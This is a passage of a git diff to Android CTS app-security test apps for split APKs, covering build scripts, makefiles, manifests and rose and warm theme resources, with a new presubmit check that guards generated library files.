-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundredRevisionTwelve --replace-version
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
ifeq (,$(ONE_SHOT_MAKEFILE))
-include $(LOCAL_PATH)/libs/Android.mk $(LOCAL_PATH)/feature/Android.mk
+include $(LOCAL_PATH)/libs/Android.mk
endif
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index f7628ab..64010fc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -15,10 +15,14 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
package="com.android.cts.splitapp"
android:targetSandboxVersion="2">
- <uses-sdk android:minSdkVersion="4"/>
+ <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+ to pass the build error, since tests need to use minSdkVersion 4. -->
+ <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+ "androidx.test.runner, androidx.test.rules, androidx.test.monitor"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
@@ -35,6 +39,13 @@
<meta-data android:name="android.service.wallpaper"
android:resource="@xml/my_activity_meta"/>
</activity>
+ <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
<receiver android:name=".MyReceiver"
android:enabled="@bool/my_receiver_enabled"
android:exported="true">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk b/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk
deleted file mode 100644
index b61c5d6..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_ARCHARCH
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/README b/hostsidetests/appsecurity/test-apps/SplitApp/README
index 480289e..bf7190e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/README
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/README
@@ -1,7 +1,6 @@
The entire libs/ directory is built and constructed automatically with
the build_libs.sh script. Don't attempt to modify manually. To rebuild
-the native code, make the following change to the NDK to pass through
-the target architecture, and then run build_libs.sh:
+the native code, make NDK_BUILD variable to point the correct path in
+the host environment, and then run build_libs.sh:
-build/core/build-binary.mk:LOCAL_CFLAGS := -DANDROID -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\" $(LOCAL_CFLAGS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING
new file mode 100644
index 0000000..bc9dc3c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsAppSecurityHostTestCases",
+ "options": [
+ {
+ "include-filter": "android.appsecurity.cts.SplitTests"
+ }
+ ]
+ }
+ ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
index 6090374..9e9237f 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
@@ -15,7 +15,93 @@
# limitations under the License.
#
-NDK_BUILD="$HOME/android-ndk-r10b/ndk-build"
+# Please change NDK_BUILD to point to the appropriate ndk-build in NDK. It's recommended to
+# use the NDK with maximum backward compatibility, such as the NDK bundle in Android SDK.
+NDK_BUILD="$HOME/Android/android-ndk-r16b/ndk-build"
+
+function generateCopyRightComment {
+ local year=$1
+
+ copyrightInMk=$(cat <<COPYRIGHT_COMMENT
+# Copyright (C) ${year} The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
+
+COPYRIGHT_COMMENT
+)
+ echo "${copyrightInMk}"
+}
+
+function generateLibsAndroidMk {
+ local targetFile=$1
+ local copyrightInMk=$(generateCopyRightComment "2015")
+(
+cat <<LIBS_ANDROID_MK
+${copyrightInMk}
+include \$(call all-subdir-makefiles)
+LIBS_ANDROID_MK
+) > "${targetFile}"
+
+}
+
+function generateAndroidManifest {
+ local targetFile=$1
+ local arch=$2
+(
+cat <<ANDROIDMANIFEST
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.splitapp"
+ split="lib_${arch}">
+ <application android:hasCode="false" />
+</manifest>
+ANDROIDMANIFEST
+) > "${targetFile}"
+
+}
+
+function generateAndroidMk {
+ local targetFile="$1"
+ local arch="$2"
+ local copyrightInMk=$(generateCopyRightComment "2014")
+(
+cat <<LIBS_ARCH_ANDROID_MK
+#
+${copyrightInMk}
+LOCAL_PATH := \$(call my-dir)
+
+include \$(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_${arch}
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
+
+include \$(BUILD_CTS_SUPPORT_PACKAGE)
+LIBS_ARCH_ANDROID_MK
+) > "${targetFile}"
+}
# Go build everything
rm -rf libs
@@ -30,20 +116,13 @@
mkdir -p tmp/$arch/raw/lib/$arch/
mv libs/$arch/* tmp/$arch/raw/lib/$arch/
- echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>
-<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"
- package=\"com.android.cts.splitapp\"
- split=\"lib_${arch//[^a-zA-Z0-9_]/_}\">
- <application android:hasCode=\"false\" />
-</manifest>" > tmp/$arch/AndroidManifest.xml
+ generateAndroidManifest "tmp/$arch/AndroidManifest.xml" "${arch//[^a-zA-Z0-9_]/_}"
- cp NativeTemplate.mk tmp/$arch/Android.mk
- sed -i -r "s/ARCHARCH/$arch/" tmp/$arch/Android.mk
-
+ generateAndroidMk "tmp/$arch/Android.mk" "$arch"
)
done
-echo "include \$(call all-subdir-makefiles)" > tmp/Android.mk
+generateLibsAndroidMk "tmp/Android.mk"
rm -rf libs
rm -rf obj
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
new file mode 100755
index 0000000..3419f2e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
@@ -0,0 +1,62 @@
+#!/bin/bash
+LOCAL_DIR="$( dirname "${BASH_SOURCE}" )"
+
+APP_DIR_IN_CTS="^hostsidetests\\/appsecurity\\/test-apps\\/SplitApp"
+BUILD_LIBS_SCRIPT="${APP_DIR_IN_CTS}\\/build_libs\\.sh\$"
+APP_LIBS_ANDROID_MK="${APP_DIR_IN_CTS}\\/libs/Android\\.mk\$"
+NATIVE_MK_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/Android\\.mk\$"
+MANIFEST_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/AndroidManifest\\.xml\$"
+JNI_PATTERN="${APP_DIR_IN_CTS}\\/jni\\/.*\$"
+LIB_SO_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/libsplitappjni.*\\.so\$"
+
+MODIFY_JNI=0
+MODIFY_ANDROID_MK=0
+MODIFY_BUILD_LIBS_SCRIPT=0
+LIB_SO_LIST=""
+MK_LIST=""
+MANIFEST_LIST=""
+for f in $*
+do
+ echo "${f}" | grep -q "${BUILD_LIBS_SCRIPT}" && MODIFY_BUILD_LIBS_SCRIPT=1
+ echo "${f}" | grep -q "${APP_LIBS_ANDROID_MK}" && MODIFY_ANDROID_MK=1
+
+ echo "${f}" | grep -q "${NATIVE_MK_PATTERN}" && MK_LIST="${MK_LIST}\n ${f}"
+
+ echo "${f}" | grep -q "${MANIFEST_PATTERN}" && MANIFEST_LIST="${MANIFEST_LIST}\n ${f}"
+
+ echo "${f}" | grep -q "${JNI_PATTERN}" && MODIFY_JNI=1
+ echo "${f}" | grep -q "${LIB_SO_PATTERN}" && LIB_SO_LIST="${LIB_SO_LIST}\n ${f}"
+done
+
+NUMBER_OF_ERRORS=0
+if [[ ${MODIFY_ANDROID_MK} -ne 0 && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+ ((NUMBER_OF_ERRORS++))
+ echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of\n" \
+ "\033[0;31;47m${APP_LIBS_ANDROID_MK//\\/}\033[0m?"
+fi
+if [[ -n "${MK_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+ ((NUMBER_OF_ERRORS++))
+ echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of" \
+ "\033[0;31;47m${MK_LIST}\033[0m?"
+fi
+if [[ -n "${MANIFEST_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+ ((NUMBER_OF_ERRORS++))
+ echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of" \
+ "\033[0;31;47m${MANIFEST_LIST}\033[0m?"
+fi
+if [[ -n "${LIB_SO_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 && ${MODIFY_JNI} -eq 0 ]]
+then
+ ((NUMBER_OF_ERRORS++))
+ echo -e "Please modify ${JNI_PATTERN//\\/} files instead of" \
+ "\033[0;31;47m${LIB_SO_LIST}\033[0m?"
+fi
+if [[ ${NUMBER_OF_ERRORS} -gt 0 ]]
+then
+ echo "Please make sure to modify the file by running build_libs.sh.${NUMBER_OF_ERRORS}"
+fi
+
+exit ${NUMBER_OF_ERRORS}
+
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
deleted file mode 100644
index 22d0a1a..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ /dev/null
@@ -1,74 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_PACKAGE_NAME := CtsSplitAppFeature
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := v7
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_USE_AAPT2 := true
-LOCAL_APK_LIBRARIES := CtsSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant requiring a split for install
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MANIFEST_FILE := needsplit/AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsNeedSplitFeature
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_APK_LIBRARIES := CtsSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
-
-LOCAL_USE_AAPT2 := true
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
deleted file mode 100644
index c1ce39e..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ /dev/null
@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.splitapp"
- split="feature">
-
- <uses-sdk android:minSdkVersion="4"
- android:targetSdkVersion="27"/>
-
- <!-- New permission should be ignored -->
- <uses-permission android:name="android.permission.INTERNET"/>
-
- <!-- New application flag should be ignored -->
- <application android:largeHeap="true">
- <activity android:name=".FeatureActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- <meta-data android:name="android.service.wallpaper"
- android:resource="@xml/my_activity_meta"/>
- </activity>
- <receiver android:name=".FeatureReceiver"
- android:enabled="@bool/feature_receiver_enabled"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.DATE_CHANGED"/>
- </intent-filter>
- </receiver>
- <service android:name=".FeatureService"
- android:exported="true">
- <intent-filter>
- <action android:name="com.android.cts.splitapp.service"/>
- </intent-filter>
- </service>
- <provider android:name=".FeatureProvider"
- android:authorities="com.android.cts.splitapp.provider"/>
- </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
deleted file mode 100644
index 07f19e4..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
+++ /dev/null
@@ -1,55 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.splitapp"
- split="feature"
- android:isSplitRequired="true">
-
- <uses-sdk android:minSdkVersion="4"
- android:targetSdkVersion="27"/>
-
- <!-- New permission should be ignored -->
- <uses-permission android:name="android.permission.INTERNET"/>
-
- <!-- New application flag should be ignored -->
- <application android:largeHeap="true">
- <activity android:name=".FeatureActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- <meta-data android:name="android.service.wallpaper"
- android:resource="@xml/my_activity_meta"/>
- </activity>
- <receiver android:name=".FeatureReceiver"
- android:enabled="@bool/feature_receiver_enabled"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.DATE_CHANGED"/>
- </intent-filter>
- </receiver>
- <service android:name=".FeatureService"
- android:exported="true">
- <intent-filter>
- <action android:name="com.android.cts.splitapp.service"/>
- </intent-filter>
- </service>
- <provider android:name=".FeatureProvider"
- android:authorities="com.android.cts.splitapp.provider"/>
- </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
new file mode 100644
index 0000000..a691536
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsSplitAppFeatureRose",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ min_sdk_version: "4",
+ aapt_include_all_resources: true,
+ // Generate an api split.
+ package_splits: ["v23"],
+ certificate: ":cts-testkey1",
+ libs: ["CtsSplitApp"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ aaptflags: [
+ "--version-code 100",
+ "--version-name OneHundred",
+ "--replace-version",
+ "--package-id 0x81",
+ ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
new file mode 100644
index 0000000..8666555
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.splitapp"
+ split="feature_rose">
+
+ <application>
+ <activity android:name=".RoseThemeActivity" android:theme="@style/Theme_Rose"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
new file mode 100644
index 0000000..2a4ddf3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+ android:color="?attr/customColor"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
new file mode 100644
index 0000000..1b22fba
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <!-- light rose colors for Theme_Rose -->
+ <color name="rose_custom_color">@color/pink_light</color>
+ <color name="rose_navigation_bar_color">@color/rose_light</color>
+ <color name="rose_status_bar_color">@color/ruby_light</color>
+
+ <color name="pink_light">#ffffb6c1</color>
+ <color name="rose_light">#ffff66cc</color>
+ <color name="ruby_light">#ffff0da6</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
new file mode 100644
index 0000000..9a0ffe0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Rose" parent="@style/Theme_Base">
+ <item name="customColor">@color/rose_custom_color</item>
+ <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+ <item name="android:navigationBarColor">@color/rose_navigation_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
new file mode 100644
index 0000000..aafd845
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <!-- rose colors for Theme_Rose -->
+ <color name="rose_custom_color">@color/pink</color>
+ <color name="rose_navigation_bar_color">@color/rose</color>
+ <color name="rose_status_bar_color">@color/ruby</color>
+
+ <color name="pink">#ffffc0cb</color>
+ <color name="rose">#ffff0da6</color>
+ <color name="ruby">#ffcc0080</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
new file mode 100644
index 0000000..607a392
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+ <style name="Theme_Rose" parent="@style/Theme_Base">
+ <item name="customColor">@color/rose_custom_color</item>
+ <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+ <item name="android:statusBarColor">@color/rose_status_bar_color</item>
+ </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
new file mode 100644
index 0000000..5803fdf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class RoseThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
new file mode 100644
index 0000000..0dcd16a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
@@ -0,0 +1,91 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_defaults {
+ name: "CtsSplitAppFeatureWarmDefaults",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ asset_dirs: ["assets"],
+ sdk_version: "current",
+ min_sdk_version: "4",
+ aapt_include_all_resources: true,
+ libs: ["CtsSplitApp"],
+}
+
+android_test_helper_app {
+ name: "CtsSplitAppFeatureWarm",
